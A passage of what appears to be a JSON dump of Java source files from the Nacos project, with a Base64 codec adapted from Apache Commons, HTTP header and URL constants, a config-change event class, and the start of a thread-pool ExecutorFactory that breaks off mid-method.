    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.codec;\n\n/**\n * From apache common codec, and remove some useless method. Provides Base64 encoding and decoding as defined by <a\n * href=\"http://www.ietf.org/rfc/rfc2045.txt\">RFC 2045</a>.\n *\n * <p>This class implements section <cite>6.8. Base64 Content-Transfer-Encoding</cite> from RFC 2045\n *\n * <cite>Multipurpose\n * Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies</cite> by Freed and Borenstein. </p> <p>\n * The class can be parameterized in the following manner with various constructors: <ul> <li>URL-safe mode: Default\n * off.</li> <li>Line length: Default 76. Line length that aren't multiples of 4 will still essentially end up being\n * multiples of 4 in the encoded data. <li>Line separator: Default is CRLF (\"\\r\\n\")</li> </ul> </p> <p> Since this class\n * operates directly on byte streams, and not character streams, it is hard-coded to only encode/decode character\n * encodings which are compatible with the lower 127 ASCII chart (ISO-8859-1, Windows-1252, UTF-8, etc). </p> <p> This\n * class is not thread-safe. Each thread should use its own instance. </p>\n *\n * @author Apache Software Foundation\n * @version $Revision: 1080712 $\n * @see <a href=\"http://www.ietf.org/rfc/rfc2045.txt\">RFC 2045</a>\n * @since 1.0\n */\npublic class Base64 {\n    \n    /**\n     * BASE32 characters are 6 bits in length. They are formed by taking a block of 3 octets to form a 24-bit string,\n     * which is converted into 4 BASE64 characters.\n     */\n    private static final int BITS_PER_ENCODED_BYTE = 6;\n    \n    private static final int BYTES_PER_UNENCODED_BLOCK = 3;\n    \n    private static final int BYTES_PER_ENCODED_BLOCK = 4;\n    \n    /**\n     * Chunk separator per RFC 2045 section 2.1.\n     *\n     * <p>N.B. The next major release may break compatibility and make this field private. </p>\n     *\n     * @see <a href=\"http://www.ietf.org/rfc/rfc2045.txt\">RFC 2045 section 2.1</a>\n     */\n    static final byte[] CHUNK_SEPARATOR = {'\\r', '\\n'};\n    \n    /**\n     * This array is a lookup table that translates 6-bit positive integer index values into their \"Base64 Alphabet\"\n     * equivalents as specified in Table 1 of RFC 2045.\n     *\n     * <p>Thanks to \"commons\" project in ws.apache.org for this code.\n     *\n     * <p>http://svn.apache.org/repos/asf/webservices/commons/trunk/modules/util/\n     */\n    private static final byte[] STANDARD_ENCODE_TABLE = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',\n            'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g',\n            'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1',\n            '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};\n    \n    /**\n     * This is a copy of the STANDARD_ENCODE_TABLE above, but with + and / changed to - and _ to make the encoded Base64\n     * results more URL-SAFE. This table is only used when the Base64's mode is set to URL-SAFE.\n     */\n    private static final byte[] URL_SAFE_ENCODE_TABLE = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',\n            'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g',\n            'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1',\n            '2', '3', '4', '5', '6', '7', '8', '9', '-', '_'};\n    \n    /**\n     * This array is a lookup table that translates Unicode characters drawn from the \"Base64 Alphabet\" (as specified in\n     * Table 1 of RFC 2045) into their 6-bit positive integer equivalents. Characters that are not in the Base64\n     * alphabet but fall within the bounds of the array are translated to -1.\n     *\n     * <p>Note: '+' and '-' both decode to 62. '/' and '_' both decode to 63. This means decoder seamlessly handles\n     * both URL_SAFE and STANDARD base64. (The encoder, on the other hand, needs to know ahead of time what to emit).\n     *\n     * <p>Thanks to \"commons\" project in ws.apache.org for this code.\n     *\n     * <p>http://svn.apache.org/repos/asf/webservices/commons/trunk/modules/util/\n     */\n    private static final byte[] DECODE_TABLE = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1,\n            62, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8,\n            9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, 63, -1, 26, 27, 28, 29,\n            30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51};\n    \n    /**\n     * Base64 uses 6-bit fields. Mask used to extract 6 bits, used when encoding\n     */\n    private static final int MASK_6BITS = 0x3f;\n    \n    // The static final fields above are used for the original static byte[] methods on Base64.\n    // The private member fields below are used with the new streaming approach, which requires\n    // some state be preserved between calls of encode() and decode().\n    \n    /**\n     * Encode table to use: either STANDARD or URL_SAFE. Note: the DECODE_TABLE above remains static because it is able\n     * to decode both STANDARD and URL_SAFE streams, but the encodeTable must be a member variable so we can switch\n     * between the two modes.\n     */\n    private final byte[] encodeTable;\n    \n    /**\n     * Only one decode table currently; keep for consistency with Base32 code.\n     */\n    private final byte[] decodeTable = DECODE_TABLE;\n    \n    /**\n     * Line separator for encoding. Not used when decoding. Only used if lineLength > 0.\n     */\n    private final byte[] lineSeparator;\n    \n    /**\n     * Convenience variable to help us determine when our buffer is going to run out of room and needs resizing.\n     * <code>decodeSize = 3 + lineSeparator.length;</code>\n     */\n    private final int decodeSize;\n    \n    /**\n     * Convenience variable to help us determine when our buffer is going to run out of room and needs resizing.\n     * <code>encodeSize = 4 + lineSeparator.length;</code>\n     */\n    private final int encodeSize;\n    \n    /**\n     * Place holder for the bytes we're dealing with for our based logic. Bitwise operations store and extract the\n     * encoding or decoding from this variable.\n     */\n    private int bitWorkArea;\n    \n    /**\n     * Creates a Base64 codec used for decoding (all modes) and encoding in URL-unsafe mode. <p> When encoding the line\n     * length is 0 (no chunking), and the encoding table is STANDARD_ENCODE_TABLE. </p>\n     *\n     * <p>When decoding all variants are supported. </p>\n     */\n    public Base64() {\n        this(0, CHUNK_SEPARATOR, false);\n    }\n    \n    /**\n     * Creates a Base64 codec used for decoding (all modes) and encoding in URL-unsafe mode. <p> When encoding the line\n     * length and line separator are given in the constructor, and the encoding table is STANDARD_ENCODE_TABLE. </p> <p>\n     * Line lengths that aren't multiples of 4 will still essentially end up being multiples of 4 in the encoded data.\n     * </p> <p> When decoding all variants are supported. </p>\n     *\n     * @param lineLength    Each line of encoded data will be at most of the given length (rounded down to nearest\n     *                      multiple of 4). If lineLength <= 0, then the output will not be divided into lines (chunks).\n     *                      Ignored when decoding.\n     * @param lineSeparator Each line of encoded data will end with this sequence of bytes.\n     * @param urlSafe       Instead of emitting '+' and '/' we emit '-' and '_' respectively. urlSafe is only applied to\n     *                      encode operations. Decoding seamlessly handles both modes.\n     * @throws IllegalArgumentException The provided lineSeparator included some base64 characters. That's not going to\n     *                                  work!\n     * @since 1.4\n     */\n    private Base64(int lineLength, byte[] lineSeparator, boolean urlSafe) {\n        chunkSeparatorLength = lineSeparator.length;\n        unencodedBlockSize = BYTES_PER_UNENCODED_BLOCK;\n        encodedBlockSize = BYTES_PER_ENCODED_BLOCK;\n        this.lineLength =\n                (lineLength > 0 && chunkSeparatorLength > 0) ? (lineLength / encodedBlockSize) * encodedBlockSize : 0;\n        if (lineLength > 0) {\n            this.encodeSize = BYTES_PER_ENCODED_BLOCK + lineSeparator.length;\n            this.lineSeparator = new byte[lineSeparator.length];\n            System.arraycopy(lineSeparator, 0, this.lineSeparator, 0, lineSeparator.length);\n        } else {\n            this.encodeSize = BYTES_PER_ENCODED_BLOCK;\n            this.lineSeparator = null;\n        }\n        this.decodeSize = this.encodeSize - 1;\n        this.encodeTable = urlSafe ? URL_SAFE_ENCODE_TABLE : STANDARD_ENCODE_TABLE;\n    }\n    \n    /**\n     * Encodes a byte[] containing binary data, into a byte[] containing characters in the alphabet.\n     *\n     * @param pArray a byte array containing binary data\n     * @return A byte array containing only the basen alphabetic character data\n     */\n    private byte[] encode(byte[] pArray) {\n        reset();\n        encode(pArray, 0, pArray.length);\n        encode(pArray, 0, -1);\n        byte[] buf = new byte[pos - readPos];\n        readResults(buf, 0, buf.length);\n        return buf;\n    }\n    \n    /**\n     * <p> Encodes all of the provided data, starting at inPos, for inAvail bytes. Must be called at least twice: once\n     * with the data to encode, and once with inAvail set to \"-1\" to alert encoder that EOF has been reached, so flush\n     * last remaining bytes (if not multiple of 3). </p> <p> Thanks to \"commons\" project in ws.apache.org for the\n     * bitwise operations, and general approach. http://svn.apache.org/repos/asf/webservices/commons/trunk/modules/util/\n     * </p>\n     *\n     * @param in      byte[] array of binary data to base64 encode.\n     * @param inPos   Position to start reading data from.\n     * @param inAvail Amount of bytes available from input for encoding.\n     */\n    void encode(byte[] in, int inPos, int inAvail) {\n        if (eof) {\n            return;\n        }\n        if (inAvail < 0) {\n            eof = true;\n            if (0 == modulus && lineLength == 0) {\n                return;\n            }\n            ensureBufferSize(encodeSize);\n            int savedPos = pos;\n            switch (modulus) {\n                case 1:\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 2) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[(bitWorkArea << 4) & MASK_6BITS];\n                    \n                    if (encodeTable == STANDARD_ENCODE_TABLE) {\n                        buffer[pos++] = PAD;\n                        buffer[pos++] = PAD;\n                    }\n                    break;\n                \n                case 2:\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 10) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 4) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[(bitWorkArea << 2) & MASK_6BITS];\n                    \n                    if (encodeTable == STANDARD_ENCODE_TABLE) {\n                        buffer[pos++] = PAD;\n                    }\n                    break;\n                default:\n                    break;\n            }\n            currentLinePos += pos - savedPos;\n            /*\n             if currentPos == 0 we are at the start of a line, so don't add CRLF\n             */\n            if (lineLength > 0 && currentLinePos > 0) {\n                System.arraycopy(lineSeparator, 0, buffer, pos, lineSeparator.length);\n                pos += lineSeparator.length;\n            }\n        } else {\n            for (int i = 0; i < inAvail; i++) {\n                ensureBufferSize(encodeSize);\n                modulus = (modulus + 1) % BYTES_PER_UNENCODED_BLOCK;\n                int b = in[inPos++];\n                if (b < 0) {\n                    b += 256;\n                }\n                bitWorkArea = (bitWorkArea << 8) + b;\n                if (0 == modulus) {\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 18) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 12) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[(bitWorkArea >> 6) & MASK_6BITS];\n                    buffer[pos++] = encodeTable[bitWorkArea & MASK_6BITS];\n                    currentLinePos += BYTES_PER_ENCODED_BLOCK;\n                    if (lineLength > 0 && lineLength <= currentLinePos) {\n                        System.arraycopy(lineSeparator, 0, buffer, pos, lineSeparator.length);\n                        pos += lineSeparator.length;\n                        currentLinePos = 0;\n                    }\n                }\n            }\n        }\n    }\n    \n    /**\n     * Decodes a byte[] containing characters in the Base-N alphabet.\n     *\n     * @param pArray A byte array containing Base-N character data\n     * @return a byte array containing binary data\n     */\n    private byte[] decode(byte[] pArray) {\n        reset();\n        if (pArray == null || pArray.length == 0) {\n            return pArray;\n        }\n        decode(pArray, 0, pArray.length);\n        decode(pArray, 0, -1);\n        byte[] result = new byte[pos];\n        readResults(result, 0, result.length);\n        return result;\n    }\n    \n    /**\n     * <p> Decodes all of the provided data, starting at inPos, for inAvail bytes. Should be called at least twice:\n     * once with the data to decode, and once with inAvail set to \"-1\" to alert decoder that EOF has been reached. The\n     * \"-1\" call is not necessary when decoding, but it doesn't hurt, either. </p> <p> Ignores all non-base64\n     * characters. This is how chunked (e.g. 76 character) data is handled, since CR and LF are silently ignored, but\n     * has implications for other bytes, too. This method subscribes to the garbage-in, garbage-out philosophy: it will\n     * not check the provided data for validity. </p> <p> Thanks to \"commons\" project in ws.apache.org for the bitwise\n     * operations, and general approach. http://svn.apache.org/repos/asf/webservices/commons/trunk/modules/util/ </p>\n     *\n     * @param in      byte[] array of ascii data to base64 decode.\n     * @param inPos   Position to start reading data from.\n     * @param inAvail Amount of bytes available from input for encoding.\n     */\n    void decode(byte[] in, int inPos, int inAvail) {\n        if (eof) {\n            return;\n        }\n        if (inAvail < 0) {\n            eof = true;\n        }\n        for (int i = 0; i < inAvail; i++) {\n            ensureBufferSize(decodeSize);\n            byte b = in[inPos++];\n            if (b == PAD) {\n                // We're done.\n                eof = true;\n                break;\n            } else {\n                if (b >= 0 && b < DECODE_TABLE.length) {\n                    int result = DECODE_TABLE[b];\n                    if (result >= 0) {\n                        modulus = (modulus + 1) % BYTES_PER_ENCODED_BLOCK;\n                        bitWorkArea = (bitWorkArea << BITS_PER_ENCODED_BYTE) + result;\n                        if (modulus == 0) {\n                            buffer[pos++] = (byte) ((bitWorkArea >> 16) & MASK_8BITS);\n                            buffer[pos++] = (byte) ((bitWorkArea >> 8) & MASK_8BITS);\n                            buffer[pos++] = (byte) (bitWorkArea & MASK_8BITS);\n                        }\n                    }\n                }\n            }\n        }\n        \n        // Two forms of EOF as far as base64 decoder is concerned: actual\n        // EOF (-1) and first time '=' character is encountered in stream.\n        // This approach makes the '=' padding characters completely optional.\n        if (eof && modulus != 0) {\n            ensureBufferSize(decodeSize);\n            \n            // We have some spare bits remaining\n            // Output all whole multiples of 8 bits and ignore the rest\n            switch (modulus) {\n                //   case 1: // 6 bits - ignore entirely\n                //       break;\n                case 2:\n                    bitWorkArea = bitWorkArea >> 4;\n                    buffer[pos++] = (byte) ((bitWorkArea) & MASK_8BITS);\n                    break;\n                case 3:\n                    bitWorkArea = bitWorkArea >> 2;\n                    buffer[pos++] = (byte) ((bitWorkArea >> 8) & MASK_8BITS);\n                    buffer[pos++] = (byte) ((bitWorkArea) & MASK_8BITS);\n                    break;\n                default:\n                    break;\n            }\n        }\n    }\n    \n    /**\n     * Encodes binary data using the base64 algorithm but does not chunk the output.\n     *\n     * @param binaryData binary data to encode\n     * @return byte[] containing Base64 characters in their UTF-8 representation.\n     */\n    public static byte[] encodeBase64(byte[] binaryData) {\n        return encodeBase64(binaryData, false, false, Integer.MAX_VALUE);\n    }\n    \n    /**\n     * Encodes binary data using the base64 algorithm, optionally chunking the output into 76 character blocks.\n     *\n     * @param binaryData    Array containing binary data to encode.\n     * @param isChunked     if <code>true</code> this encoder will chunk the base64 output into 76 character blocks\n     * @param urlSafe       if <code>true</code> this encoder will emit - and _ instead of the usual + and /\n     *                      characters.\n     * @param maxResultSize The maximum result size to accept.\n     * @return Base64-encoded data.\n     * @throws IllegalArgumentException Thrown when the input array needs an output array bigger than maxResultSize\n     * @since 1.4\n     */\n    public static byte[] encodeBase64(byte[] binaryData, boolean isChunked, boolean urlSafe, int maxResultSize) {\n        if (binaryData == null || binaryData.length == 0) {\n            return binaryData;\n        }\n        \n        // Create this so can use the super-class method\n        // Also ensures that the same roundings are performed by the ctor and the code\n        Base64 b64 = isChunked ? new Base64(MIME_CHUNK_SIZE, CHUNK_SEPARATOR, urlSafe)\n                : new Base64(0, CHUNK_SEPARATOR, urlSafe);\n        long len = b64.getEncodedLength(binaryData);\n        if (len > maxResultSize) {\n            throw new IllegalArgumentException(\"Input array too big, the output array would be bigger (\" + len\n                    + \") than the specified maximum size of \" + maxResultSize);\n        }\n        \n        return b64.encode(binaryData);\n    }\n    \n    /**\n     * Decodes Base64 data into octets.\n     *\n     * @param base64Data Byte array containing Base64 data\n     * @return Array containing decoded data.\n     */\n    public static byte[] decodeBase64(byte[] base64Data) {\n        return new Base64().decode(base64Data);\n    }\n    \n    /**\n     * MIME chunk size per RFC 2045 section 6.8.\n     *\n     * <p> The {@value} character limit does not count the trailing CRLF, but counts all other characters, including\n     * any equal signs. </p>\n     *\n     * @see <a href=\"http://www.ietf.org/rfc/rfc2045.txt\">RFC 2045 section 6.8</a>\n     */\n    private static final int MIME_CHUNK_SIZE = 76;\n    \n    private static final int DEFAULT_BUFFER_RESIZE_FACTOR = 2;\n    \n    /**\n     * Defines the default buffer size - currently {@value} - must be large enough for at least one encoded\n     * block+separator.\n     */\n    private static final int DEFAULT_BUFFER_SIZE = 8192;\n    \n    /**\n     * Mask used to extract 8 bits, used in decoding bytes.\n     */\n    private static final int MASK_8BITS = 0xff;\n    \n    /**\n     * Byte used to pad output.\n     */\n    private static final byte PAD_DEFAULT = '=';\n    \n    private static final byte PAD = PAD_DEFAULT;\n    \n    /**\n     * Number of bytes in each full block of unencoded data, e.g. 4 for Base64 and 5 for Base32\n     */\n    private final int unencodedBlockSize;\n    \n    /**\n     * Number of bytes in each full block of encoded data, e.g. 3 for Base64 and 8 for Base32\n     */\n    private final int encodedBlockSize;\n    \n    /**\n     * Chunksize for encoding. Not used when decoding. A value of zero or less implies no chunking of the encoded data.\n     * Rounded down to nearest multiple of encodedBlockSize.\n     */\n    private final int lineLength;\n    \n    /**\n     * Size of chunk separator. Not used unless {@link #lineLength} > 0.\n     */\n    private final int chunkSeparatorLength;\n    \n    /**\n     * Buffer for streaming.\n     */\n    private byte[] buffer;\n    \n    /**\n     * Position where next character should be written in the buffer.\n     */\n    private int pos;\n    \n    /**\n     * Position where next character should be read from the buffer.\n     */\n    private int readPos;\n    \n    /**\n     * Boolean flag to indicate the EOF has been reached. Once EOF has been reached, this object becomes useless, and\n     * must be thrown away.\n     */\n    private boolean eof;\n    \n    /**\n     * Variable tracks how many characters have been written to the current line. Only used when encoding. We use it to\n     * make sure each encoded line never goes beyond lineLength (if lineLength > 0).\n     */\n    private int currentLinePos;\n    \n    /**\n     * Writes to the buffer only occur after every 3/5 reads when encoding, and every 4/8 reads when decoding. This\n     * variable helps track that.\n     */\n    private int modulus;\n    \n    /**\n     * Ensure that the buffer has room for <code>size</code> bytes.\n     *\n     * @param size minimum spare space required\n     */\n    private void ensureBufferSize(int size) {\n        if ((buffer == null) || (buffer.length < pos + size)) {\n            if (buffer == null) {\n                buffer = new byte[DEFAULT_BUFFER_SIZE];\n                pos = 0;\n                readPos = 0;\n            } else {\n                byte[] b = new byte[buffer.length * DEFAULT_BUFFER_RESIZE_FACTOR];\n                System.arraycopy(buffer, 0, b, 0, buffer.length);\n                buffer = b;\n            }\n        }\n    }\n    \n    /**\n     * Extracts buffered data into the provided byte[] array, starting at position bPos, up to a maximum of bAvail\n     * bytes. Returns how many bytes were actually extracted.\n     *\n     * @param b      byte[] array to extract the buffered data into.\n     * @param bPos   position in byte[] array to start extraction at.\n     * @param bAvail amount of bytes we're allowed to extract. We may extract fewer (if fewer are available).\n     * @return The number of bytes successfully extracted into the provided byte[] array.\n     */\n    private int readResults(byte[] b, int bPos, int bAvail) {\n        if (buffer != null) {\n            int len = Math.min(pos - readPos, bAvail);\n            System.arraycopy(buffer, readPos, b, bPos, len);\n            readPos += len;\n            if (readPos >= pos) {\n                buffer = null;\n            }\n            return len;\n        }\n        return eof ? -1 : 0;\n    }\n    \n    /**\n     * Resets this object to its initial newly constructed state.\n     */\n    private void reset() {\n        buffer = null;\n        pos = 0;\n        readPos = 0;\n        currentLinePos = 0;\n        modulus = 0;\n        eof = false;\n    }\n    \n    /**\n     * Calculates the amount of space needed to encode the supplied array.\n     *\n     * @param pArray byte[] array which will later be encoded\n     * @return amount of space needed to encoded the supplied array. Returns a long since a max-len array will require >\n     * Integer.MAX_VALUE\n     */\n    private long getEncodedLength(byte[] pArray) {\n        // Calculate non-chunked size - rounded up to allow for padding\n        // cast to long is needed to avoid possibility of overflow\n        long len = ((pArray.length + unencodedBlockSize - 1) / unencodedBlockSize) * (long) encodedBlockSize;\n        if (lineLength > 0) {\n            /*\n             Round up to nearest multiple\n             */\n            len += ((len + lineLength - 1) / lineLength) * chunkSeparatorLength;\n        }\n        return len;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/constant/HttpHeaderConsts.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.constant;\n\n/**\n * Nacos header constants.\n *\n * @author ly\n */\npublic interface HttpHeaderConsts {\n    \n    String CLIENT_VERSION_HEADER = \"Client-Version\";\n    String USER_AGENT_HEADER = \"User-Agent\";\n    String REQUEST_SOURCE_HEADER = \"Request-Source\";\n    String CONTENT_TYPE = \"Content-Type\";\n    String CONTENT_DISPOSITION = \"Content-Disposition\";\n    String CONTENT_LENGTH = \"Content-Length\";\n    String ACCEPT_CHARSET = \"Accept-Charset\";\n    String ACCEPT_ENCODING = \"Accept-Encoding\";\n    String CONTENT_ENCODING = \"Content-Encoding\";\n    String CONNECTION = \"Requester\";\n    String REQUEST_ID = \"RequestId\";\n    String REQUEST_MODULE = \"Request-Module\";\n    String APP_FILED = \"app\";\n    String CLIENT_IP = \"clientIp\";\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/constant/RequestUrlConstants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.constant;\n\n/**\n * Nacos request url constants.\n *\n * @author chenhao26\n */\npublic interface RequestUrlConstants {\n    \n    String HTTP_PREFIX = \"http://\";\n    String HTTPS_PREFIX = \"https://\";\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/constant/ResponseHandlerType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.constant;\n\n/**\n * Response Handler Type.\n *\n * @author mai.jh\n */\npublic final class ResponseHandlerType {\n    \n    public static final String STRING_TYPE = \"java.lang.String\";\n    \n    public static final String RESTRESULT_TYPE = \"com.alibaba.nacos.common.model.RestResult\";\n    \n    public static final String DEFAULT_BEAN_TYPE = \"default_bean_handler\";\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/constant/Symbols.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.constant;\n\n/**\n * Symbols.\n *\n * @author haiqi.wang\n * @date 2024/08/13\n */\npublic final class Symbols {\n    \n    /**\n     * Comma.\n     */\n    public static final String COMMA = \",\";\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/event/ServerConfigChangeEvent.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Server configuration changed event.\n *\n * <p>\n * When nacos server configuration file (default nacos/conf/application.properties) changed, The event should be notify\n * to all subscriber.\n * </p>\n *\n * @author xiweng.yy\n */\npublic class ServerConfigChangeEvent extends Event {\n    \n    private static final long serialVersionUID = 289992068985663172L;\n    \n    public static ServerConfigChangeEvent newEvent() {\n        return new ServerConfigChangeEvent();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/executor/ExecutorFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport com.alibaba.nacos.common.JustForTest;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Unified thread pool creation factory, and actively create thread pool resources by ThreadPoolManager for unified life\n * cycle management {@link ExecutorFactory.Managed}.\n *\n * <p>Unified thread pool creation factory without life cycle management {@link ExecutorFactory}.\n *\n * <p>two check style ignore will be removed after issue#2856 finished.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings({\"checkstyle:overloadmethodsdeclarationorder\", \"checkstyle:missingjavadocmethod\"})\npublic final class ExecutorFactory {\n    \n    public static ExecutorService newSingleExecutorService() {\n        return Executors.newFixedThreadPool(1);\n    }\n    \n    public static ExecutorService newSingleExecutorService(final ThreadFactory threadFactory) {\n        return Executors.newFixedThreadPool(1, threadFactory);\n    }\n    \n    public static ExecutorService newFixedExecutorService(final int nThreads) {\n        return Executors.newFixedThreadPool(nThreads);\n    }\n    \n    public static ExecutorService newFixedExecutorService(final int nThreads, final ThreadFactory threadFactory) {\n        return Executors.newFixedThreadPool(nThreads, threadFactory);\n    }\n    \n    public static ScheduledExecutorService newSingleScheduledExecutorService(final ThreadFactory threadFactory) {\n        return Executors.newScheduledThreadPool(1, threadFactory);\n    }\n    \n    public static ScheduledExecutorService newScheduledExecutorService(final int nThreads,\n            final ThreadFactory threadFactory) {\n        return Executors.newScheduledThreadPool(nThreads, threadFactory);\n    }\n    \n    public static ThreadPoolExecutor newCustomerThreadExecutor(final int coreThreads, final int maxThreads,\n            final long keepAliveTimeMs, final ThreadFactory threadFactory) {\n        return new ThreadPoolExecutor(coreThreads, maxThreads, keepAliveTimeMs, TimeUnit.MILLISECONDS,\n                new LinkedBlockingQueue<>(), threadFactory);\n    }\n    \n    public static final class Managed {\n        \n        private static final String DEFAULT_NAMESPACE = \"nacos\";\n        \n        private static final ThreadPoolManager THREAD_POOL_MANAGER = ThreadPoolManager.getInstance();\n        \n        /**\n         * Create a new single executor service with default thread factory and register to manager.\n         *\n         * @param group group name\n         * @return new single executor service\n         */\n        public static ExecutorService newSingleExecutorService(final String group) {\n            ExecutorService executorService = Executors.newFixedThreadPool(1);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new single executor service with input thread factory and register to manager.\n         *\n         * @param group         group name\n         * @param threadFactory thread factory\n         * @return new single executor service\n         */\n        public static ExecutorService newSingleExecutorService(final String group, final ThreadFactory threadFactory) {\n            ExecutorService executorService = Executors.newFixedThreadPool(1, threadFactory);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new fixed executor service with default thread factory and register to manager.\n         *\n         * @param group    group name\n         * @param nThreads thread number\n         * @return new fixed executor service\n         */\n        public static ExecutorService newFixedExecutorService(final String group, final int nThreads) {\n            ExecutorService executorService = Executors.newFixedThreadPool(nThreads);\n            